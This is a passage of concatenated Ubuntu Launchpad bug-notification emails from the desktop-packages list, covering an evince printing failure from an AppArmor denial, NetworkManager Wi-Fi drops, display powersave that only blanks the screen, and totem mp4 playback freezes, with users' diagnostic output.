lcd display of CANON MX PIXMA 920 printer. The printer dialog says: processing stopped. It could not be restarted. Printing from OCULAR or LibreOffice works still fine. Assumed some rights problems?? To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/evince/+bug/1976179/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 495981] Re: NM disconnects Wi-Fi every 2 minutes but iwconfig+dhclient and wicd don't -- ath9k
Hi everybody ! I've got exactly the same trouble: HP-14-TS:~$ apt policy network-manager network-manager: Installé : 1.36.4-2ubuntu1 Candidat : 1.36.4-2ubuntu1 Table de version : *** 1.36.4-2ubuntu1 500 500 http://fr.archive.ubuntu.com/ubuntu jammy/main amd64 Packages 100 /var/lib/dpkg/status HP-14-TS:~$ Thank you in advance for your help Regards, Sab wlo1 IEEE 802.11 ESSID: Mode:Managed Frequency:2.427 GHz Access Point: A4:3E:51:ED:20:B9 Bit Rate=54 Mb/s Tx-Power=15 dBm Retry short limit:7 RTS thr:off Fragment thr:off Power Management:off Link Quality=59/70 Signal level=-51 dBm Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0 Tx excessive retries:0 Invalid misc:135 Missed beacon:0 -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to network-manager in Ubuntu. https://bugs.launchpad.net/bugs/495981 Title: NM disconnects Wi-Fi every 2 minutes but iwconfig+dhclient and wicd don't -- ath9k Status in network-manager package in Ubuntu: Confirmed Bug description: Binary package hint: network-manager I have Dell studio XPS 13 running: Description: Ubuntu 9.10 Release: 9.10 with wifi card (lspci): 06:00.0 Network controller: Atheros Communications Inc. AR928X Wireless Network Adapter (PCI-Express) (rev 01) that works (tries to) with ath9k module. It connects to my access point and works ok however, It disconnects every 2-3 min saying (in dmesg): [ 311.600306] wlan0: RX AssocResp from 00:1d:68:0c:97:63 (capab=0x411 status=0 aid=2) and then automatically reconnects... I have tried different drivers and other things Interestingly when I right-clicked on network manger applet, select ¨disable networking¨ and then set up everything myself on console using iwconfig and dhclient. IT WORKS!!! no disconnections wpa_supplicant is still running in a background but not doing anything (my wifi has WEP encryption). I´ve seen some similar reports in Internet but they seem to think that it is a driver problem when to me it looks like a NetworkManager issue... Hope it helps drphd ProblemType: Bug Architecture: amd64 CRDA: Error: [Errno 2] No such file or directory Date: Sat Dec 12 19:42:18 2009 DistroRelease: Ubuntu 9.10 IfupdownConfig: auto lo iface lo inet loopback InstallationMedia: Ubuntu 9.10 "Karmic Koala" - Release amd64 (20091027) IpRoute: 192.168.1.0/24 dev wlan0 proto kernel scope link src 192.168.1.65 172.16.77.0/24 dev vmnet1 proto kernel scope link src 172.16.77.1 172.16.158.0/24 dev vmnet8 proto kernel scope link src 172.16.158.1 default via 192.168.1.254 dev wlan0 NonfreeKernelModules: nvidia Package: network-manager 0.8~a~git.20091013t193206.679d548-0ubuntu1 ProcEnviron: LANG=en_GB.UTF-8 SHELL=/bin/bash ProcVersionSignature: Ubuntu 2.6.31-16.53-generic SourcePackage: network-manager Uname: Linux 2.6.31-16-generic x86_64 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/network-manager/+bug/495981/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1915910] Re: evince does not print (apparmor, pxgsettings)
This bug affects me as well, I am using Ubuntu 22.04, standard desktop configuration with Gnome3. $ evince ./reise_scheng_formular.pdf\;jsessionid\=581D11B486915D0476F672CBA29B8143.pdf (evince:42771): dbind-WARNING **: 11:21:54.609: Couldn't connect to accessibility bus: Failed to connect to socket /run/user/1000/at-spi/bus_1: Permission denied Gtk-Message: 11:21:54.649: Failed to load module "unity-gtk-module" Gtk-Message: 11:21:54.650: Failed to load module "unity-gtk-module" -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to libproxy in Ubuntu. https://bugs.launchpad.net/bugs/1915910 Title: evince does not print (apparmor, pxgsettings) Status in evince package in Ubuntu: Confirmed Status in libproxy package in Ubuntu: Confirmed Status in evince package in Debian: New Bug description: audit: type=1400 audit(1613557537.646:81): apparmor="DENIED" operation="exec" profile="/usr/bin/evince" name="/usr/lib/x86_64-linux-gnu/libproxy/0.4.17/pxgsettings" pid=3500 comm="sh" requested_mask="x" denied_mask="x" fsuid=1000 ouid=0 It seems that evince has no rights to print if I understand this correctly Printing the same pdf-file from the same origin/folder works with OCULAR The error is reproduceable To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/evince/+bug/1915910/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1971434] Re: Display powersave only blanks, but does not turn off
Same issue on 22.04 Gnome Wayland session, Nouveau driver on a Geforce MX450 (Iris Xe Graphics onboard using i915 driver) -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-settings-daemon in Ubuntu. https://bugs.launchpad.net/bugs/1971434 Title: Display powersave only blanks, but does not turn off Status in gnome-settings-daemon package in Ubuntu: Incomplete Bug description: Recently upgraded to Ubuntu 22.04, and it seems like the power-saving feature in Gnome 42 does not actually turn off the screen(s) after X minutes, but just blanks them. When I manually run `xset dpms force off`, they do properly turn off and go to powersave mode. 1) Description: Ubuntu 22.04 LTS Release: 22.04 2) gnome-settings-daemon: Installed: 42.1-1ubuntu2 Candidate: 42.1-1ubuntu2 3) In Settings -> Power -> Screen Blank, set the inactivity period to 5 minutes. After 5 minutes, the screens should turn off. 4) Screens go black, but remain active and consume (too much) power. --- ProblemType: Bug ApportVersion: 2.20.11-0ubuntu82 Architecture: amd64 CasperMD5CheckResult: unknown CurrentDesktop: ubuntu:GNOME DistributionChannelDescriptor: # This is the distribution channel descriptor for the OEM CDs # For more information see http://wiki.ubuntu.com/DistributionChannelDescriptor canonical-oem-somerville-bionic-amd64-20190418-59+beaver-osp1+X00 DistroRelease: Ubuntu 22.04 InstallationDate: Installed on 2020-07-04 (667 days ago) InstallationMedia: Ubuntu 18.04 "Bionic" - Build amd64 LIVE Binary 20190418-12:10 Package: gnome-settings-daemon 42.1-1ubuntu2 PackageArchitecture: amd64 ProcVersionSignature: Ubuntu 5.15.0-27.28-generic 5.15.30 Tags: jammy Uname: Linux 5.15.0-27-generic x86_64 UpgradeStatus: Upgraded to jammy on 2022-04-30 (3 days ago) UserGroups: adm cdrom dialout dip lpadmin plugdev sambashare sudo vboxusers video wireshark _MarkForUpload: True To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gnome-settings-daemon/+bug/1971434/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1975890] Re: mp4 video gets stuck in a frame, like it's paused
1. I ran "totem filename.mp4" and reproduced the problem, but nothing is logged to the console. 2. The package gstreamer1.0-vaapi is not installed. -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to totem in Ubuntu. https://bugs.launchpad.net/bugs/1975890 Title: mp4 video gets stuck in a frame, like it's paused Status in totem package in Ubuntu: Incomplete Bug description: The video stops playing at a certain random frame, like it's been paused. You can drag the range control and move forwards and backwards and the frame will change as expected, but toggling play/pause does nothing. I can only reproduce this on Ubuntu 22.04. On Debian 11 it works as expected. ProblemType: Bug DistroRelease: Ubuntu 22.04 Package: totem 42.0-1ubuntu1 ProcVersionSignature: Ubuntu 5.15.0-33.34-generic 5.15.30 Uname: Linux 5.15.0-33-generic x86_64 ApportVersion: 2.20.11-0ubuntu82.1 Architecture: amd64 CasperMD5CheckResult: pass CurrentDesktop: ubuntu:GNOME Date: Thu May 26 23:13:19 2022 InstallationDate: Installed on 2022-05-23 (3 days ago) InstallationMedia: Ubuntu 22.04 LTS "Jammy Jellyfish" - Release amd64 (20220419) SourcePackage: totem UpgradeStatus: No upgrade log present (probably fresh install) XorgLog: Error: [Errno 2] Arquivo ou diretório inexistente: '/var/log/Xorg.0.log' To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/totem/+bug/1975890/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp